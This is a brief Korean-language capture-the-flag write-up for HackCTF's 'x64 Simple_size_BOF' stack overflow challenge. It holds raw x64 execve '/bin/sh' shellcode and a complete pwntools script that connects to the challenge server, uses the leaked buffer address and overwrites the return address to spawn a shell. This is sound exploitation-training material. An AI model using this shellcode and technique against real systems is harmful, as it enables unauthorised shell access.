[HackCTF] x64 Simple_size_BOF

main

 

NX가 disabled이니 쉘코드를 직접 주입가능할 것 같다.

v4가 rbp-6D30 = 27952

생각보다 너무 멀리 떨어져있다.

 

64bit 쉘코드

\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05

 

27952 - 31 + 8(sfp) + ret 주소

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3005)

p.recvuntil('buf: ')
buf_addr = int(p.recv(14),16)
pay = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
pay += b"\x90" * 27929
pay += p64(buf_addr)

p.sendline(pay)
p.interactive()